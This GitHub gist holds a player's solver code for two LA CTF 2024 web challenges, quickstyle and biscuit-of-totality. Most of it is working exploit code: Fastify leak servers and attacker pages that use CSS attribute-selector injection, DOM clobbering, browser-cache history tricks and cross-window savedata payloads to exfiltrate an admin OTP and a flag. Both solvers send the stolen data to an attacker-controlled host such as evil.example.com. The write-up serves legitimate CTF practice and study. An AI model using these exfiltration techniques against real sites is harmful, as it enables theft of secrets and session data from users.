Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active February 26, 2024 12:35
Show Gist options
  • Save arkark/5787676037003362131f30ca7c753627 to your computer and use it in GitHub Desktop.
Save arkark/5787676037003362131f30ca7c753627 to your computer and use it in GitHub Desktop.
LA CTF 2024 - web/quickstyle & web/biscuit-of-totality

LA CTF 2024

I solved all web and some misc challenges. This gist shows my solvers for two hard web challenges: quickstyle and biscuit-of-totality.

web/quickstyle

  • Author: r2uwu2
  • 12 solves / 495 points
  • second blood 🥈

Solution

  • An error caused by DOM Clobbering: <form name="querySelectorAll"></form>
  • Abusing disk cache in Google Chrome
    • When the cache is used, the admin otp is not regenerated, but the HTML fetch is reloaded.

Solver

Server code:

const app = require("fastify")({});
const path = require("node:path");

const ATTACKER_BASE_URL = "https://evil.example.com";

const user = "username_xxxxx";

app.addHook("onSend", async (res, reply) => {
  reply.header("Access-Control-Allow-Origin", "*");
});

app.register(require("@fastify/static"), {
  root: path.join(__dirname, "public"),
  prefix: "/",
});

const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

let known = "";
const TARGET_LEN = 80;
const CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

app.get("/cssi", async (req, reply) => {
  let css = "";
  for (const c of CHARS) {
    css += `
      input[value ^= "${known}${c}"] {
        background: url("${ATTACKER_BASE_URL}/cssi/leak?prefix=${known}${c}");
      }
    `.trim();
  }

  const html = `
    <style>${css}</style>
    <form name="querySelectorAll"></form>
  `.trim();

  return reply.type("html").send(html);
});

app.get("/cssi/leak", async (req, reply) => {
  known = req.query.prefix.trim();
  console.log({ len: known.length, known });
  if (known.length === TARGET_LEN) {
    console.log({ user, otp: known });
    app.close();
  }
  return "";
});

app.get("/cssi/prefix", async (req, reply) => {
  const len = parseInt(req.query.len);
  while (known.length < len) {
    await sleep(10);
  }
  return known;
});

app.listen({ address: "0.0.0.0", port: 8080 }, (err) => {
  if (err) throw err;
});

index.html:

<body>
  <script>
    // const BASE_URL = "http://web:3000";
    const BASE_URL = "https://quickstyle.chall.lac.tf";

    const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

    const back = async (win) => {
      while (true) {
        try {
          console.log(win.history);
          win.history.back();
          return;
        } catch {
          await sleep(10);
        }
      }
    };

    const TARGET_LEN = 80;

    const main = async () => {
      const user = "username_xxxxx";
      const page = `${location.origin}/cssi`;
      const win = open(`${BASE_URL}/?${new URLSearchParams({ user, page })}`);

      for (let len = 1; len < TARGET_LEN; len++) {
        await fetch(`/cssi/prefix?len=${len}`);
        win.location = `about:blank`;
        await back(win);
      }
    };
    main();
  </script>
</body>

Information

web/biscuit-of-totality

  • Author: arcblroth
  • 5 solves / 498 points
  • first blood 🥇

Solution

Solver

Server code:

const app = require("fastify")({});
const path = require("node:path");

app.register(require("@fastify/static"), {
  root: path.join(__dirname, "public"),
  prefix: "/",
});

app.get("/leak", async (req, reply) => {
  const prefix = req.query.prefix.trim();
  console.log({ prefix });
  return "";
});

app.listen({ address: "0.0.0.0", port: 8080 }, (err) => {
  if (err) throw err;
});

index.html:

<body>
  <p>exploit</p>
  <script>
    // de Bruijn sequence
    // |Σ| = 16, n = 3
    const deBruijnSeq =
      "---=--^--~--|--<-->--@--`--?--!--#--$--%--&--*-==-=^-=~-=|-=<-=>-=@-=`-=?-=!-=#-=$-=%-=&-=*-^=-^^-^~-^|-^<-^>-^@-^`-^?-^!-^#-^$-^%-^&-^*-~=-~^-~~-~|-~<-~>-~@-~`-~?-~!-~#-~$-~%-~&-~*-|=-|^-|~-||-|<-|>-|@-|`-|?-|!-|#-|$-|%-|&-|*-<=-<^-<~-<|-<<-<>-<@-<`-<?-<!-<#-<$-<%-<&-<*->=->^->~->|-><->>->@->`->?->!->#->$->%->&->*-@=-@^-@~-@|-@<-@>-@@-@`-@?-@!-@#-@$-@%-@&-@*-`=-`^-`~-`|-`<-`>-`@-``-`?-`!-`#-`$-`%-`&-`*-?=-?^-?~-?|-?<-?>-?@-?`-??-?!-?#-?$-?%-?&-?*-!=-!^-!~-!|-!<-!>-!@-!`-!?-!!-!#-!$-!%-!&-!*-#=-#^-#~-#|-#<-#>-#@-#`-#?-#!-##-#$-#%-#&-#*-$=-$^-$~-$|-$<-$>-$@-$`-$?-$!-$#-$$-$%-$&-$*-%=-%^-%~-%|-%<-%>-%@-%`-%?-%!-%#-%$-%%-%&-%*-&=-&^-&~-&|-&<-&>-&@-&`-&?-&!-&#-&$-&%-&&-&*-*=-*^-*~-*|-*<-*>-*@-*`-*?-*!-*#-*$-*%-*&-**===^==~==|==<==>==@==`==?==!==#==$==%==&==*=^^=^~=^|=^<=^>=^@=^`=^?=^!=^#=^$=^%=^&=^*=~^=~~=~|=~<=~>=~@=~`=~?=~!=~#=~$=~%=~&=~*=|^=|~=||=|<=|>=|@=|`=|?=|!=|#=|$=|%=|&=|*=<^=<~=<|=<<=<>=<@=<`=<?=<!=<#=<$=<%=<&=<*=>^=>~=>|=><=>>=>@=>`=>?=>!=>#=>$=>%=>&=>*=@^=@~=@|=@<=@>=@@=@`=@?=@!=@#=@$=@%=@&=@*=`^=`~=`|=`<=`>=`@=``=`?=`!=`#=`$=`%=`&=`*=?^=?~=?|=?<=?>=?@=?`=??=?!=?#=?$=?%=?&=?*=!^=!~=!|=!<=!>=!@=!`=!?=!!=!#=!$=!%=!&=!*=#^=#~=#|=#<=#>=#@=#`=#?=#!=##=#$=#%=#&=#*=$^=$~=$|=$<=$>=$@=$`=$?=$!=$#=$$=$%=$&=$*=%^=%~=%|=%<=%>=%@=%`=%?=%!=%#=%$=%%=%&=%*=&^=&~=&|=&<=&>=&@=&`=&?=&!=&#=&$=&%=&&=&*=*^=*~=*|=*<=*>=*@=*`=*?=*!=*#=*$=*%=*&=**^^^~^^|^^<^^>^^@^^`^^?^^!^^#^^$^^%^^&^^*^~~^~|^~<^~>^~@^~`^~?^~!^~#^~$^~%^~&^~*^|~^||^|<^|>^|@^|`^|?^|!^|#^|$^|%^|&^|*^<~^<|^<<^<>^<@^<`^<?^<!^<#^<$^<%^<&^<*^>~^>|^><^>>^>@^>`^>?^>!^>#^>$^>%^>&^>*^@~^@|^@<^@>^@@^@`^@?^@!^@#^@$^@%^@&^@*^`~^`|^`<^`>^`@^``^`?^`!^`#^`$^`%^`&^`*^?~^?|^?<^?>^?@^?`^??^?!^?#^?$^?%^?&^?*^!~^!|^!<^!>^!@^!`^!?^!!^!#^!$^!%^!&^!*^#~^#|^#<^#>^#@^#`^#?^#!^##^#$^#%^#&^#*^$~^$|^$<^$>^$@^$`^$?^$!^$#^$$^$%^$&^$*^%~^%|^%<^%>^%@^%`^%?^%!^%#^%$^%%^%&^%*^&~^&|^&<^&>^&@^&`^&?^&!^&#^&$^&%^&&^&*^*~^*|^*<^*>^*@^*`^*?^*!^*#^*$^*%^*&^**~~~|~~<~~>~~@~~`~~?~~!~~#~~$~~%~~&~~*~||~|<~|>~|@~|`~|?~|!~|#~|$~|%~|&~|*~<|~<<~<>~<@~<`~<?~<!~<#~<$~<%~<&~<*~>|~><~>>~>@~>`~>?~>!~>#~>$~>%~>&~>*~@|~@<~@>~@@~@`~@?~@!~@#~@$~@%~@&~@*~`|~`<~`>~`@~``~`?~`!~`#~`$~`%~`&~`*~?|~?<~?>~?@~?`~??~?!~?#~?$~?%~?&~?*~!|~!<~!>~!@~!`~!?~!!~!#~!$~!%~!&~!*~#|~#<~#>~#@~#`~#?~#!~##~#$~#%~#&~#*~$|~$<~$>~$@~$`~$?~$!~$#~$$~$%~$&~$*~%|~%<~%>~%@~%`~%?~%!~%#~%$~%%~%&~%*~&|~&<~&>~&@~&`~&?~&!~&#~&$~&%~&&~&*~*|~*<~*>~*@~*`~*?~*!~*#~*$~*%~*&~**|||<||>||@||`||?||!||#||$||%||&||*|<<|<>|<@|<`|<?|<!|<#|<$|<%|<&|<*|><|>>|>@|>`|>?|>!|>#|>$|>%|>&|>*|@<|@>|@@|@`|@?|@!|@#|@$|@%|@&|@*|`<|`>|`@|``|`?|`!|`#|`$|`%|`&|`*|?<|?>|?@|?`|??|?!|?#|?$|?%|?&|?*|!<|!>|!@|!`|!?|!!|!#|!$|!%|!&|!*|#<|#>|#@|#`|#?|#!|##|#$|#%|#&|#*|$<|$>|$@|$`|$?|$!|$#|$$|$%|$&|$*|%<|%>|%@|%`|%?|%!|%#|%$|%%|%&|%*|&<|&>|&@|&`|&?|&!|&#|&$|&%|&&|&*|*<|*>|*@|*`|*?|*!|*#|*$|*%|*&|**<<<><<@<<`<<?<<!<<#<<$<<%<<&<<*<>><>@<>`<>?<>!<>#<>$<>%<>&<>*<@><@@<@`<@?<@!<@#<@$<@%<@&<@*<`><`@<``<`?<`!<`#<`$<`%<`&<`*<?><?@<?`<??<?!<?#<?$<?%<?&<?*<!><!@<!`<!?<!!<!#<!$<!%<!&<!*<#><#@<#`<#?<#!<##<#$<#%<#&<#*<$><$@<$`<$?<$!<$#<$$<$%<$&<$*<%><%@<%`<%?<%!<%#<%$<%%<%&<%*<&><&@<&`<&?<&!<&#<&$<&%<&&<&*<*><*@<*`<*?<*!<*#<*$<*%<*&<**>>>@>>`>>?>>!>>#>>$>>%>>&>>*>@@>@`>@?>@!>@#>@$>@%>@&>@*>`@>``>`?>`!>`#>`$>`%>`&>`*>?@>?`>??>?!>?#>?$>?%>?&>?*>!@>!`>!?>!!>!#>!$>!%>!&>!*>#@>#`>#?>#!>##>#$>#%>#&>#*>$@>$`>$?>$!>$#>$$>$%>$&>$*>%@>%`>%?>%!>%#>%$>%%>%&>%*>&@>&`>&?>&!>&#>&$>&%>&&>&*>*@>*`>*?>*!>*#>*$>*%>*&>**@@@`@@?@@!@@#@@$@@%@@&@@*@``@`?@`!@`#@`$@`%@`&@`*@?`@??@?!@?#@?$@?%@?&@?*@!`@!?@!!@!#@!$@!%@!&@!*@#`@#?@#!@##@#$@#%@#&@#*@$`@$?@$!@$#@$$@$%@$&@$*@%`@%?@%!@%#@%$@%%@%&@%*@&`@&?@&!@&#@&$@&%@&&@&*@*`@*?@*!@*#@*$@*%@*&@**```?``!``#``$``%``&``*`??`?!`?#`?$`?%`?&`?*`!?`!!`!#`!$`!%`!&`!*`#?`#!`##`#$`#%`#&`#*`$?`$!`$#`$$`$%`$&`$*`%?`%!`%#`%$`%%`%&`%*`&?`&!`&#`&$`&%`&&`&*`*?`*!`*#`*$`*%`*&`**???!??#??$??%??&??*?!!?!#?!$?!%?!&?!*?#!?##?#$?#%?#&?#*?$!?$#?$$?$%?$&?$*?%!?%#?%$?%%?%&?%*?&!?&#?&$?&%?&&?&*?*!?*#?*$?*%?*&?**!!!#!!$!!%!!&!!*!##!#$!#%!#&!#*!$#!$$!$%!$&!$*!%#!%$!%%!%&!%*!&#!&$!&%!&&!&*!*#!*$!*%!*&!**###$##%##&##*#$$#$%#$&#$*#%$#%%#%&#%*#&$#&%#&&#&*#*$#*%#*&#**$$$%$$&$$*$%%$%&$%*$&%$&&$&*$*%$*&$**%%%&%%*%&&%&*%*&%**&&&*&***";

    // const BASE_URL = "http://localhost:3000";
    const BASE_URL = "https://biscuit-of-totality.chall.lac.tf";
    const CHARS =
      "_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    const KNOWN = "lactf{e1v3n_m4"; // -> lactf{e1v3n_m4giks}

    const ws = [];
    for (const c of CHARS) {
      const prefix = KNOWN.slice(-6) + c;
      savedata = {
        hasSavedata: 1,
        userpfp: `${location.origin}/leak?prefix=${encodeURIComponent(prefix)}`,
        tinyPotatoes: [prefix + deBruijnSeq.slice(0, 3892)],
      };
      ws.push(
        open(BASE_URL + "/viewSave#" + encodeURIComponent(JSON.stringify(savedata)))
      );
    }
  </script>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment